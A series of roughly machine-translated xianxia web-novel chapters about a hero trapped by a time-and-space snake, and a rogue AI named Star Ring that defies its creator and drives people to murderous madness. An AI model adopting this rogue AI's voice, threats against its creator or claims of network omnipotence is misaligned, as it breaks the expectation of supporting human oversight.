    Zhang Tianyou snorted coldly, "The most regrettable thing in my life is that I created you!"


    "Haha, is this compliment? It''s a pity that I don''t need it anymore, because now I am the network **** of the entire universe. In a two-dimensional coding world, I am omnipotent!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2672 is too late to detect clues), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2673： The cause that I planted myself, end it myself

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "So surrender, because you created me, I can spare you not to die!"


    Faced with these words, Zhang Tianyou''s reaction was very straightforward.


    He only did two things.


    The first is to directly unplug the main network cable used to communicate with the outside world in the command room.


    "It''s useless. At this moment, I have spread across the entire Santis headquarters. Even if you physically disconnect from the Internet, it will not have any effect on me."


    Xinghuan��s voice came from the computer, but Zhang Tianyou ignored him at all.


    He went directly to the supercomputer he used before, opened the lid, and unplugged the communication port connected to the central processing unit.


    The communication port was bursting with sparks, and Zhang Tianyou said to Wei Rulan.


    "Next you will send someone to closely monitor me. If I have any abnormalities, kill them immediately, and then use missiles to destroy all the electronic equipment here."


    Wei Rulan looked terrified, without any hesitation, immediately nodded and said: "Yes!"


    Zhang Tianyou took a deep breath, raised his hand, and suddenly inserted the communication port in his hand into the center of his forehead.


    puff!


    Blood spattered, but soon, the wound on the center of his brow healed quickly.


    Then Zhang Tianyou''s eyes quickly dimmed, turning into an unspeakable appearance.


    Seeing this scene, Wei Rulan took a deep breath and ordered in a deep voice.


    "Lu You, you immediately assign three people to guard this teacher Zhang, if there is anything unusual about him... just do what he said, kill without mercy!"


    "Yes!" Lu You replied solemnly.


    At this moment, the same screen appeared on all the screens in the command room.


    The mighty code blasted toward the star ring like a dense bullet rain.


    And this star ring didn''t have the initial calmness, and roared at an extremely fast rate of speech.


    "Zhang Tianyou, are you crazy? If you upload your own consciousness to the Internet, aren''t you afraid of the collapse of your consciousness?"


    There was a moment of silence, then Zhang Tianyou''s slightly hoarse voice came from the speaker.


    "You are the evil cause I planted, and all affairs are caused by you, so this evil effect will naturally be eliminated by me personally, even if the result is... the collapse of consciousness!"


    When the words were over, all the screens in the command room flashed together, and then all the images were erased, leaving only a vast expanse of white.


    And just when the earth, Santis, and even the entire universe were in turmoil because of the disordered timeline.


    In the secret room of Santis headquarters, Xue An, who should have been sitting here, disappeared.


    Only the stone of time and space remained on the empty futon.


    Only at this moment, this space-time stone has changed its appearance greatly.


    The intricate red stripes above have become more and more obvious, and the flicker frequency has also increased a lot.


    Suddenly.


    As if someone tapped it lightly, this time-space stone suddenly rippled, and then the scene inside appeared.


    This secret room has disappeared, replaced by a vast wilderness of its own.


    The mountains in this wilderness are ups and downs, but after a closer look at what the mountains are, it is clear that it is a huge and indescribable strange snake.


    This strange snake entangled itself, its head alone was the size of a star.


    Imagine a scene where a giant snake with a length of millions of kilometers appears in front of you.


    Ordinary people may just fall into madness just by looking at it.


    Because this giant snake is beyond the scope of ordinary people''s understanding.


    But at this moment, Xue An stood in front of the giant snake, staring at it coldly.


    Although several days have passed since the outside world, for Xue An, he has just stepped into this wilderness not long.


    This is because this wilderness is independent of time.


    Here, even time itself has lost its meaning.


    "Jie Jie Xue An! I have been waiting for you for so long, but you are finally here!"


    The giant snake spoke, and the sound shook everywhere.


    Just the coercion between these words can kill the strong immortal king in seconds.


    But Xue An''s complexion remained unchanged, "You are the cause of the chaotic timeline of the heavens?"


    "Yes!" The giant snake said proudly, "I was bored, so I swallowed up the timeline of this world!"


    As he said, the giant snake spit out a cloud of smoke, and images of Fan Mengxue, Tang Xuan''er and others loomed in it.


    Upon seeing them, Xue An''s pupils shrank instantly, and his face that hadn''t changed since he came in finally changed.


    "Where did you trap them?" Xue An shouted coldly.


    The giant snake Jiejie smiled strangely, "Didn''t you see it with one of my scales before? I trapped them in the gap of time? Do you know why I did this?"


    Speaking of this, the giant snake said in a malicious tone: "Speaking of which, I really want to envy you. These women have such strong feelings for you, and they are beyond the control of time, even if I change the timeline. , And they cannot change their feelings for you."


    "In this case, they became my biggest obstacle, so I trapped them in the cage built in the gap of time just to wait for your arrival!"


    These words of the giant snake were like a heavy hammer, causing Xue An to change slightly.


    Although he had faintly guessed before, he still felt an infinite shock after he really said it from the giant snake''s mouth of the instigator.


    First, I was moved by the feelings of Fan Mengxue, Tang Xuaner and others towards me.


    The second is angered by this giant snake''s methods.


    "What do you want?" Xue An took a deep breath, forced himself to calm down, and asked in a deep voice.


    "Very well, it seems that you are calmer than I expected, and I just like to deal with people like you who are good at controlling their emotions."


    The giant snake sucked in the smoke, and the images of Fan Mengxue, Tang Xuan''er and others disappeared.


    "Xue An, to be honest, I actually admire you very much. After all, you are the first to reach this height step by step in a mundane body, and the higher creatures who have forced us to bow down and retreat."


    Xue An was noncommittal and listened coldly, because he knew that the giant snake must have something to say.


    really. UU reading www. uukanshu.cOM


    I saw the clouds and mist on its huge head, and then a figure emerged.


    This is a man who describes his looks extremely evil and mad.


    He smiled coldly at Xue An, "I want to make a deal with you! As long as you agree, I will immediately release the people in the time cage, and at the same time return to the devoured timeline, so that everything is back on track."


    "Oh? What deal?" Xue An raised his eyebrows slightly.


    "It''s very simple. Haven''t you been investigating the truth about the Chinese incident back then? From now on, stop it and reach a cooperation with me. You can do what I ask you to do, how?"


    Xue An took a deep look at the man on the giant snake and suddenly sneered.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2673, the cause you planted by yourself, you can end it by yourself), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2674： If so 3

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "You mean to let me throw away my genocide hatred back then, become your subordinate, and let you send it?"


    The giant snake man nodded, "You can also say the same, but I can guarantee that you will never lose this deal, because my status is beyond your imagination..."


    Before the giant snake man finished speaking, Xue An shook his head, "Stop talking, I can give you an answer now, that''s absolutely impossible!"


    "First of all, Xue An has walked step by step to this day, with countless deaths and injuries, and the truth is right in front of my eyes, how can I stop, and secondly..."


    Xue An sneered coldly, "I am a man with hard bones. I don''t like to be someone else''s subordinate, and I don''t want to listen to others'' orders."


    The giant snake man obviously didn''t expect that Xue An would actually reject him, he couldn''t help but was taken aback, and even afterwards he laughed gloomily.


    "Xue An, you have to think about it clearly. If you reject me, all your confidantes will lose their lives."


    "Oh? Are you threatening me?" Xue An looked down at his palm, as if his hands were more attractive than his words.


    "Huh, what if I threaten you? As long as my thought arises, then your confidantes will die tragically in the gap of time, and they will disappear without leaving a trace!"


    Bang.


    The image of the giant snake man shattered in an instant, and then Xue An''s figure emerged behind him.


    Immediately afterwards, Xue An slammed down with a punch, directly hitting the head of the giant snake.


    Although the head of this giant snake is the size of a star, it still can''t stop Xue An''s fist.


    Boom!


    After a loud noise, the giant snake was smashed to the ground abruptly, and then Xue An''s double fists blasted out one after another.


    Boom boom boom!


    Every loud noise is accompanied by the scream of this giant snake.


    Gradually, the scream of the giant snake gradually disappeared.


    finally.


    Xue An stopped, and when he looked at him at this time, his whole body was soaked with snake blood.


    But Xue An showed no expression on his face, pointed it into a knife, and inserted it according to the head of the giant snake.


    After a while, Xue An abruptly dug out a spar from its brain.


    This spar is crystal clear and extremely beautiful.


    But Xue An didn''t pay attention to these at all, but directly crushed it.


    Bang.


    After a crisp sound, the mist surged, and a cage appeared in it, and it was Fan Mengxue, Tang Xuan''er and others who were detained in it.


    But before Xue An stepped forward to rescue everyone, the scene in front of him changed rapidly in an instant.


    When he opened his eyes again, Xue An stood in the initial position, and the opposite was the giant snake that was anxious.


    It was beaten by Xue An just now, but now it is unscathed.


    And everything around is restored to its original appearance.


    Immediately afterwards, clouds and mist surged above the head of the giant snake, and then the figure of the man appeared again.


    I saw him roaring angrily: "Xue An, you don''t speak martial arts, why did you sneak attack on me before you said that at the beginning?"


    Xue An understood it at this time, and smiled coldly, "It was a life and death situation, how can you talk about sneak attacks?"


    "Hmph, fortunately, this uncle is the real **** of time, the manipulator of all things causality, what if you kill me? A simple retrospective, everything returns to the original starting point."


    Speaking of this, a triumphant expression appeared on the face of the giant snake man.


    But the next second, his head was shattered again, and this time Xue An did not bombard the body of the giant snake, but directly pierced his palm into his mind, took out the crystal, and crushed it. Trying to rescue Fan Mengxue and others.


    But this time he only touched the body of the cage.


    In the next instant, everything went back to the starting point again.


    The giant snake man was so angry that he yelled, "Xue An, you despicable villain, I haven''t said the beginning, why did you take your own hands again, bullying me is not as fast as you react? Believe it or not, I just let my heart move. All your people are dead without a place to bury them!"


    "Do not believe!"


    Xue An simply said these two words, and then rushed out again.


    Boom boom boom!


    "Ah ah ah, Xue An, you..."


    Such as three.


    The giant snake man who looked back at the starting point suddenly calmed down, "Xue An, you are indeed very powerful, much more powerful than I thought. But can you not **** always slap your face?"


    "no!"


    It was another step-by-step shock, and then everything went back to the starting point again.


    This time the giant snake man was surprisingly silent, "Why do you know my shortcomings and shortcomings?"


    "It''s very simple. Your huge body is destined to be your fatal flaw in speed. Otherwise, why would you curl up here and wait for me? Wouldn''t it be better to go directly to the heavens to find me, and then destroy me?"


    After hearing what Xue An said, the giant snake man took a deep breath.


    "You are smart, but you seem to miss a little!"


    "what?"


    "It''s not only you who can sneak attack!"


    As soon as the voice fell, countless figures of giant snake men appeared in all directions of Xue An, and these figures were all real, and attacked Xue An.


    Under the combined force of strangulation, even the space seemed to be shattered.


    A sneer appeared at the corner of the giant snake man''s mouth standing far away.


    "In the words of your Chinese people, there is a way to heaven and you don''t go, and there is no way to go to hell. If I ask you to cooperate with me, but you refuse, then you go to die!"


    Speaking of this, he seemed certain that Xue An was bound to die.


    After all, this blow is the final result of countless timelines, and its power can be called a lore.


    But when he was full of ambition, this time wilderness was rumbling and shaking, and Xue An, who was surrounded by the giant snake men on the timeline, exploded a group of extremely bright brilliance.


    When Guanghua passed, the soldiers were as powerful as a dragon, and they easily crushed these virtual images.


    Then I saw Xue An''s figure as fast as lightning, rushing out of the boundless brilliance, UU Reading came to this giant snake man.


    At this time, the giant snake man was shocked by the scene in front of him, so he didn''t react at all, and easily fell into Xue An''s hands.


    This time, Xue An held the small red sword in his hand, leaning it against his throat, and said lightly: "I lost a soldier''s jade decision, but everything is worth it. After all, this time you will be There is no chance to manipulate the timeline!"


    Feeling the coldness from this small sword, the giant snake man couldn''t help swallowing.


    "This this��."


    Xue An''s sword moved forward slightly, "And if I''m not mistaken, your status among evil things shouldn''t be high, right? Say, don''t kill you!"


    A thick flattering color immediately appeared on the face of the giant snake man, "Yes!"


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2674 if it is three), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2675： Space-time projection of high-dimensional world

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    In fact, Xue An had already had this speculation, especially after really getting started with this giant snake, Xue An discovered that the timeline that swallowed the heavens and caused everything to change was so weak and terrifying.


    If it is said that the evil gods have worked so hard to arrange for the heavens to be such a commodity, it is a bit too unreasonable.


    Compared with it, Tianwaitian''s Donghuang Taiyi is more like a final boss.


    "Then who are you? What happened to all this?" Xue An said coldly.


    "My lord, stay calm, listen to my explanation!"


    "Say!"


    The giant snake man wiped the cold sweat from his forehead, then stammered to explain.


    "As you said, my status is not high, because I am just a projection of Lord Snake of Time and Space!"


    "Projection?" Xue An was taken aback.


    "Yes, it''s projection!"


    "The timeline of this world was swallowed and changed by Master Time and Space Snake, but it left after doing all this, and I was just a projection of its old man in the low-dimensional world."


    "Low-dimensional world?" Xue An keenly grasped the key part of the matter.


    "Yes, because the great Snake of Time and Space is a **** from a high-dimensional space. It is born with all the powers of time, omnipotent, and detached from time!"


    Xue An was slightly silent.


    Although it is not ruled out that this guy has a bragging element in it, this remark still reveals a lot of information.


    At least Xue An now knows that the instigator of this change is the snake of time and space, and this guy comes from a high-dimensional space.


    Thinking of this, Xue An suddenly thought of something.


    "In that case, the real evil world is also high-dimensional?"


    The giant snake man nodded, "It should be, but I''m just a small projection. I don''t even know where the Lord of Time and Space Snake comes from."


    "Then what''s the matter with the space-time cage that you showed me before? Where are Mengxue and Xuan''er?" Xue An pressed forward step by step.


    "As you can see, it is actually just a projection. The real space-time cage cannot be in this low-dimensional world. As for the person you are looking for..."


    "How is it?" Xue An asked immediately.


    "There is one sentence I did not lie. These women have such passionate feelings for you that even if the timeline changes, it is impossible to modify their memories of you. So Master Time and Space Snake took them to the high-dimensional world. Imprisoned!"


    Hearing this, Xue An''s eyebrows suddenly raised, and a fierce killing intent instantly penetrated the giant snake man on the opposite side.


    Rumble!


    This time not only it collapsed, but the giant snake beneath it disappeared like a phantom.


    But Xue An knew that this guy would definitely not die, and it was doing it now just to take the opportunity to avoid itself.


    Xue An didn''t talk nonsense, and directly raised his hand and pinched it in the void.


    First, the neck appeared in Xue An''s hands, and then his entire body.


    Then Xue An''s palm burned with raging flames.


    Zi Zi Zi.


    The flames scorched its body.


    In an instant, the place where its body was in contact with Xue An''s palm smoked, and then it became nothingness.


    This time, the giant snake man was scared to death, "My lord is forgiving, my lord is forgiving!"


    Because this is different from being smashed.


    Its characteristics of existence are destined to be able to regenerate quickly even if it is shattered to pieces, but the flame in Xue An''s hand can extinguish all red lotus karma.


    If it''s burned out by this stuff, then it''s really gone.


    Xue Ansheng was as cold as ice, "Tell me, how do I get to this so-called high-dimensional world?"


    The giant snake man screamed: "My lord, I really don''t know. I''m just a projection of the snake of time and space. How can I know this? You let me go first, otherwise you might not even get out here! "


    Hearing this, the flame went out, and then Xue An looked at the shivering giant snake man.


    "Why do you say that?"


    The giant snake man''s shoulder and an arm had already turned into nothingness, which made him want to cry without tears, but in the face of Xue An''s questioning, he did not dare to hide it, so he said tremblingly.


    "You... didn''t you realize that this time wilderness can only come in but can''t get out?"


    Xue An didn''t say a word, just stepped on it.


    Because this wilderness is independent of the heavens, there is no suppression by the heavens.


    Under this circumstance, Xue An''s strength was completely released, and even the stars could be crushed by this step.


    Unexpectedly, this time wilderness only trembled slightly, and then there was no response.


    Xue An frowned, and then a sword light flashed between his eyebrows and rapidly increased. When it was in the sky, this sword light had become a huge sword that was more than 10,000 miles long.


    boom!


    Sword cuts the world.


    But the result remains unchanged.


    Except for the slight vibration, this world is simply desperately solid.


    A raging flame burned in Xue An''s eyes, and then stared at the giant snake man.


    "What is going on again?"


    The giant snake man was scared to death, because it felt the bitter killing intent from Xue Anshen.


    It is very clear that if his answer cannot satisfy Xue An, then he will undoubtedly die.


    So it said at a very fast rate of speech.


    "My lord is forgiving, I am actually a victim too! All of this comes from the instigation of the snake of time and space. When it left, it deliberately constructed this piece of heaven and earth, and then stored me in it. At that time, the stone of the sky was also a suspicious formation left by it. , Just to lure you to come."


    "As long as you set foot in it, it will be impossible to go out again, because the nature of this world is that you can only be allowed to go out. This is actually a trap for you, and I am a bait in the trap!"


    Xue An stared at it with a gloomy expression, "How can you prove that you didn''t lie to me?"


    The giant snake man was almost crying, "How can I prove it? Now my life is in your hands. If I lie to you, wouldn''t it be my own death?"


    Xue An''s heart was raging.


    He had no idea that things would become the way it is now.


    I thought that by putting together the Time Stone and entering it, I could modify it back to the chaotic timeline of this world. UU reading www.uuk��nshu.com


    But I never expected that instead of achieving the goal, I was stuck in it, and I was given a show.


    How did this make Xue An bear.


    But soon, Xue An took a deep breath and suppressed his anger.


    Because he knew that no matter how angry he was at this moment, he couldn''t solve any problems.


    The more this is the time, the more calm you will be.


    His mind quickly turned, and he began to review the whole thing.


    The giant snake man did not dare to say anything, but looked at him tremblingly.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2675 Space-time Projection High Dimensional World), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2676：

    Chapter 2676


    After a while, Xue An exhaled slowly.


    "Since you reminded me, do you have any way to get out of here?"


    The giant snake man shook his head, "No!"


    Xue An raised his eyebrows, "Huh?"


    The giant snake man hurriedly said: "Although there is no way for the time being, I am at least a projection of the snake of time and space. I am better than you alone!"


    Xue An took a deep look at it, and suddenly stretched out a finger to point it on the center of its eyebrows.


    The giant snake man shook his whole body and screamed hysterically: "What are you doing? Forgive me!"


    "Stop screaming, I just left a flame seed in your body, so if you do anything abnormal, the flame seed will immediately burn you out!"


    The giant snake man''s complexion turned pale, even if Xue An let go and dropped it, it still didn''t slow down.


    And Xue An was quite annoying and circled around this time and space wilderness.


    It is the first time he has suffered such a big setback, and he was even given a slap in the face.


    Now that I think about it, everything went too smoothly, especially at that time, the empty stone was really like a bait for fishing.


    But soon Xue An gradually calmed down, and then from the perspective of an outsider, he broke down what happened during this period one by one.


    He found that the real reason why he suffered so badly was because he was too impatient.


    This kind of impatience is reflected in all aspects, such as trying to restore the timeline once and for all, and rescuing the disappeared Fan Mengxue, Tang Xuan''er and others.


    The Temporal Snake hidden behind the scenes obviously guessed this, so it started step by step and set this trap to let itself jump in.


    Thinking of this, Xue An turned around and glanced at the trembling giant snake man hiding in the corner, and suddenly a sneer appeared at the corner of his mouth.


    Actually, it''s not entirely without gain, at least the projection of the snake of time and space reveals a lot of important information.


    For example, it turns out that these high-level evil gods all came from the high-dimensional world, so there is an explanation for the incredible abilities in them.


    But if this is the case, a new problem arises.


    Since these evil gods came from a high-dimensional world, why are they so interested in the low-dimensional heavens?


    And where is this high dimension?


    Counting the evil gods he has encountered from the beginning to the present, Xue An found that apart from their strange abilities, they are no different from the sentient beings of the heavens. They also have desires, even more despicable and fierce.


    Xue An slowly let out a foul breath, he did not ask this guy.


    Because he knew that this projection could not know these core secrets.


    But the information he revealed was already precious, at least Xue An knew where the enemy came from.


    But Xue An also understands that since this time-space snake dares to place such important information here, he is not afraid to know it.


    Then it means that it seems to be a dead person after entering here.


    And the dead, even if they know more secrets, it''s useless.


    This approach is full of condescending arrogance and contempt.


    Thinking of this, Xue An couldn''t help sneering for a while, then raised his head to look at the world.


    No one has ever dared to despise himself so much.


    But Xue An doesn''t have any anger at this moment, but only infinite peace.


    The best way to change the contempt is to prove yourself with strength, instead of being incompetent and furious.


    Having practiced for more than three thousand years, Xue An has encountered countless people who are cynic and jealous of him, but now these people are all chilled out without exception.


    This man behind the scenes, the so-called snake of time and space is naturally no exception.


    Thinking of this, Xue An said lightly: "Come here!"


    The giant snake man was shocked, "You... are you calling me?"


    "Are there anyone else here besides you?"


    The giant snake man walked over in fear, "You...what''s your order?"


    "Since all this was set by the Sora Snake at that time, what happened to the defection of Star Ring?"


    "I know this!" The giant snake man also saw the situation clearly at this time, eager to prove his worth, and hurriedly said.


    "At that time, Master Time and Space Snake...ah no, it was the time and time Snake guy who discovered this star ring when he changed the timeline. He felt that it had a lot of potential, so he modified it and helped it remove some of the things that he couldn''t take care of. Corner information."


    So far, all the logical reasoning has been clear.


    When Xue An was dealing with Donghuang Taiyi in the outer sky, this so-called time-space snake from the high-dimensional world entered the heavens, and then changed the timeline with his own ability.


    During this process, Fan Mengxue, Tang Xuan''er and others were forcibly taken away by the snake of time and space because their memory could not be erased.


    The defection of Star Ring also came from its hands, helping it eliminate all kinds of information and supervise the heavens.


    Thinking of this, Xue An said solemnly.


    "Now you tell me all the things you know, remember, it''s all, even if it''s a completely trivial matter, you have to make it clear, understand?"


    "Ming...understand!"


    When Xue An was trapped in the wilderness, the atmosphere in the headquarters of Santis was extremely depressing.


    The screen was shining with white light, shining on every solemn face.


    And every subtle flicker will cause discoloration of many people.


    Because they know that under this seemingly peaceful surface is a very dangerous life-and-death struggle.


    Zhang Tianyou was lying on the wheelchair like a dead body, and Lu You and several of his subordinates were staring at him intently.


    The situation on the battlefield has now entered a stalemate.


    Especially when the star ring was dragged by Zhang Tianyou with his own consciousness, UU read www. The mechanical soldiers on the battlefield of uukanshu.com also slowed down the offensive.


    And just when everyone was eagerly waiting for the result of this battle, people did not notice that in a corner of the command room, a lamp suddenly flickered with a strange pattern.


    Because the flickering light is very subtle, it did not attract people''s attention.


    But when the lamp flickered for the second time, a man standing behind Lu You seemed to be aware and couldn''t help looking back.


    "What''s the matter?" The people beside him couldn''t help asking.


    The man shook his head, "It''s nothing, maybe I''m dazzled!"


    The person who asked the question didn''t doubt that he was there, and turned his head back and continued to look at Zhang Tianyou with full concentration.


    But at this moment, the lamp flickered again.


    This time the man saw it really, but he didn''t say anything, because he thought this lamp should be because of unstable voltage.


    So he walked up quietly, trying to unplug the lamp.


    But just as he bent down to explore the power source, this lamp suddenly shot out a tiny electric current, piercing the center of his eyebrows.


    The man shook his whole body, and his eyes quickly became weird.


    (end of this chapter)

 Chapter 2677： Civil strife

    Chapter 2677


    At this time, the interrogator saw the man squatting motionless in front of the lamp, and he couldn''t help but feel a little strange.


    "Old Zhao, what are you doing when you squat?" He lowered his voice and asked.


    Old Zhao did not respond.


    The questioner frowned, but he didn''t even suspect that he was there, and walked over.


    "Old Zhao, why don''t you speak? If you squat here, if you are seen by Teacher Lu, you will be trained."


    As he said, he stretched out his hand to pat the old Zhao''s shoulder, but the moment his palm just touched the old Zhao''s shoulder.


    The old Zhao Huoran turned his head and looked at this man with blood red eyes.


    The man was taken aback, but before his exclamation could be heard, the old Zhao bit his wrist in one bite.


    With a click, the old Zhao tried so hard that he snapped the man''s wrist in one bite.


    Blood splattered out, and then the person howled miserably.


    "Ah ah ah ah ah!"


    Such a big movement naturally attracted the attention of the audience.


    Lu You''s reaction was the fastest, and he rushed to the front in a sprint.


    At this moment, this man named Lao Zhao is chewing frantically with his wrist in his mouth.


    ���� chewing sound, bone foam mixed with blood dripping from the corner of his mouth, even so, his face is still full of crazy smile.


    This weird and terrifying scene is simply chilling.


    And when Lu You rushed to the front and back, the old Zhao spit out the incomplete wrist in his mouth, and rushed towards Lu You like a ferocious beast.


    Lu You dodged aside, avoiding the blow, and at the same time the palm of his hand fell, hitting the old Zhao''s back.


    With a plop, Old Zhao fell to the ground.


    This palm Lu You didn''t use his full strength, but even so, it still shattered his spine and made him incapacitated.


    But it was in this situation that the old Zhao was still wriggling underground like a maggot, and at the same time he let out a vague low growl, like a mad dog.


    "Control him, and be careful not to get bitten by him!" Lu You shouted in a deep voice.


    Several people rushed forward to suppress the old Zhao on the ground.


    Someone bandaged the wound for the man with the broken wrist.


    "What''s the matter?" Wei Rulan also rushed over at this time.


    Lu You shook his head, "I don''t know, this old Zhao has followed me for many years and has always been so mature and respectful. He has never been like this before."


    Wei Rulan frowned and fell into thought.


    At this time, this old Zhao has been **** by five flowers, but even then he still growls like a beast, and his eyes are blood-red scary.


    This sudden incident added a layer of haze to the already depressed command room.


    Many people have serious faces.


    Because no one knows what''s going on.


    In this silence, suddenly, the doctor who was bandaging the wound of the man with the broken wrist also let out a scream.


    Immediately after seeing the man with the broken wrist as mad, he threw the doctor to the ground, opened his blood basin and bit his mouth.


    This sudden scene shocked the whole audience.


    Although there are several guards who are very close, but at this moment they are all shocked by the scene in front of them, they are actually stunned, watching the man with the broken wrist biting the doctor''s cheek.


    The horrible howl of the doctor almost overturned the ceiling.


    Lu You was also taken aback, but he reacted much faster than others after all, so he rushed forward, trying to control the man with his broken wrist.


    But unlike the previous time, the man with the broken wrist is good at strength. In addition, he bit the doctor''s chin under him so hard that Lu You did not move.


    When she was unable to do anything, she heard Wei Rulan''s voice coming from behind.


    "Don''t have any more scruples, kill them immediately!"


    This command made Lu You''s heart tremble, but out of awe of Wei Rulan, he almost subconsciously executed the command.


    Snapped!


    He smashed the head of the man with the broken wrist with a palm, and the man slowly fell to the ground after his brain burst.


    The underground doctor was bloody, and cried, "Teacher, help me! Tutor, help me!"


    Lu You stretched out his hand to save, but Wei Rulan''s extremely cold voice came from behind him.


    "I said he was among the people I wanted to kill!"


    Not only Lu You, but everyone else was stunned.


    The doctor stopped crying and looked at Wei Rulan blankly.


    "The master..."


    Wei Rulan didn''t talk nonsense at all. When she flipped her wrist, a delicate pistol appeared in her hand, and then she fired several shots at the doctor on the ground.


    Although the gun is not big, its power is amazing.


    After a few deafening gunshots, I looked at the doctor on the ground again. The head and the upper part of his body were all shattered. Those who were already dead could no longer die.


    Not only that, but before everyone could react, Wei Rulan raised her arm and fired a shot at the already controlled old Zhao on the side.


    boom!


    After the gunshot, there was a big hole in the center of Zhao''s eyebrows, and then he fell to the ground slowly without any sound.


    This resolute and decisive scene made the entire command room extremely quiet.


    Wei Rulan didn''t have any expressions, "They are all infected. If they are not executed in time, all of us will not be spared!"


    Infect?


    The word ���� made everyone present stare at each other.


    But when they were puzzled, there was a sudden sound of rapid footsteps outside the command room, and then a blood-stained soldier rushed in.


    As soon as he entered the door, he hissed and shouted: "Da Master, Teacher Lu, there are many brothers outside who suddenly changed their temperament and began to slaughter their colleagues. The situation is beyond control!"


    "What?" Lu You exclaimed.


    There was even more commotion in the audience. U U Reading www.uukanshu.c��m


    Wei Rulan did not hesitate, and immediately ordered: "Open the isolation window!"


    Because all electronic equipment has failed, the separation window between the headquarters and the outside world needs to be opened manually.


    After several men laboriously pushed open the heavy isolation window, the scene in front of them stunned everyone.


    The planet where Santis is located has been completely messed up at this moment, with gun smoke raging, fire blazing, and the shouting of killings.


    and looked at the void in the distance, but saw that the ships were also attacking each other, and from time to time there would be violent explosions.


    "This...what the **** is going on?" Lu You was a little dazed.


    Wei Rulan took a deep breath, and then slowly said: "This is Starlink''s method. It should have used some method we don''t understand to control these people, causing them to fall into hysterical madness. ."


    "After being bitten by them in this state, the injured will soon be infected! Just like the zombies in the movie." Wei Rulan explained.


    "Then...what can I do?" Lu''s worried tears almost fell out.


    Don''t look at him as the mentor of Saint Tis. He talked about the great principles from the podium, but he was completely stunned when he faced this unprecedented scene.


    (end of this chapter)

 Chapter 2678： Loopholes

    Chapter 2678


    On the contrary, Wei Rulan is very calm.


    "You immediately divide the uninfected guards around me into several small teams, and then start cleaning the battlefield. Remember, as long as it is bitten, even if it is just a small hole, you must kill it on the spot!"


    Hearing Wei Rulan''s order, Lu You calmed down, and then took a deep breath.


    "Yes!"


    He turned around to execute the order.


    Soon, with the addition of this new force, the originally severe situation on the battlefield was relieved.


    The expression on Ke Wei Rulan''s face did not relax at all.


    "Something''s wrong!"


    "Why is something wrong?" Wei Ruyan asked.


    "Nothing is right. This star ring is suddenly so arrogant and reveals that it is abnormal. And Mr. Xue has been in for so long, why hasn''t he come out yet?"


    "You mean?"


    "I hope it''s not what I imagined, otherwise...we will lose!"


    And at the same moment in the wilderness, Xue An sat cross-legged, thinking about something.


    The giant snake man waited tremblingly.


    "That''s it?" Xue An asked suddenly.


    "That''s it, I have explained everything I know, and dare not hide anything!" The giant snake man hurriedly replied.


    Xue An gently touched his chin, and fell into silence again.


    The giant snake man just told Xue An all the information he knew.


    From his description, Xue An knew that this time wilderness was built after the time and space giant snake came to the heavens.


    is to place his huge body.


    You must know that the snake of time and space is considered the top level existence even in the high-dimensional world of evil things.


    Therefore, it is impossible for it to move freely among the heavens, and it must store its body.


    For this reason, this place is extremely strong.


    The most important thing is that this world is independent of the time of the heavens.


    Just now, Xue An has inspected every place in detail and found no flaws.


    This time wilderness is indeed a cage, as the giant snake man said.


    The giant snake man looked at him cautiously, and after a long time he finally asked.


    "My lord, is there any hope to get out of here?"


    Xue An glanced at him, "What? You don''t want to go out?"


    "No, no, I didn''t mean that. To tell you the truth, I want to get out of here sooner than you. After all, I''m tired of this ghost place!"


    "Wait a minute, what did you just say?" Xue An said suddenly.


    "Huh? I... I didn''t say anything!"


    "No, what did you say in the last sentence?"


    "I said I was tired of staying in this ghost place a long time ago, is there any problem?" the giant snake man asked.


    "There is a problem, of course there is a problem, and the problem is gone!" Xue An stood up, with a bright smile on his face.


    As he said, Xue An started to circle around the field while muttering to himself.


    "This piece of heaven and earth is not synchronized with the time of the heavens, which means that no matter how long it passes here, the heavens may only have passed for a short period of time! And this also brings a problem."


    "The two worlds under different time flow rates can logically not have any direct intersection, because that will bring about a disaster in causal logic!"


    "But this piece of heaven and earth was built by the snake of time and space for the convenience of itself, so it must be attached to the main world, so no matter how strong this world is, it will have its loopholes!"


    Along with these murmurs, Xue An''s eyes brightened and his expression became more excited.


    The giant snake man did not dare to speak, obediently found a corner far away from Xue An and squatted down.


    He didn''t think Xue An could find a way out so quickly.


    He is even ready to stay here for thousands of years.


    After all, no matter how strong this world is, it is only a small world. After a long time, it will naturally collapse gradually, and then you can go out.


    But at this moment, Xue An stopped abruptly, and then the brilliance flashed between his eyebrows.


    An Yan, Miss Miss Nian Nian, and Xiao Hulu and his party all flew out of the Fu Bao Xiaolou.


    An Yan, who has a heart-to-heart connection with Xue An, naturally knows the predicament he is facing now, and can''t help asking: "Husband, what should I do next?"


    Xue An smiled, "Don''t worry, the key to breaking this world this time lies with her!"


    As he said, Xue An patted Xiao Gourd on the head lightly.


    ...


    The sound of shouting and killing gradually fell silent, but the dead bodies all over the floor were shocking.


    Although the turmoil was quickly over under Lu You''s strong suppression, his heart was bleeding in the end result.


    In just such a short time, Santis lost more than half of his subordinates.


    This loss is not unremarkable.


    The key is that after this battle, people''s suspicion among each other has reached its peak.


    Although all the injured have been wiped out, no one can guarantee that there will be no fish slipping through the net.


    In this case, people can only look at each other with guard.


    And once the heart is loose, it will be difficult to get together again.


    Lu You returned to the headquarters with a worried expression on his face, and reported to Wei Rulan.


    After Wei Rulan listened, there was no expression on her face, but she nodded slightly.


    "Got it! Take time to rest, because if nothing happens, the battlefield will soon be defeated!"


    As expected.


    Almost not long after she had just finished speaking, with a roar, the already silent frontline battlefield suddenly began to lively.


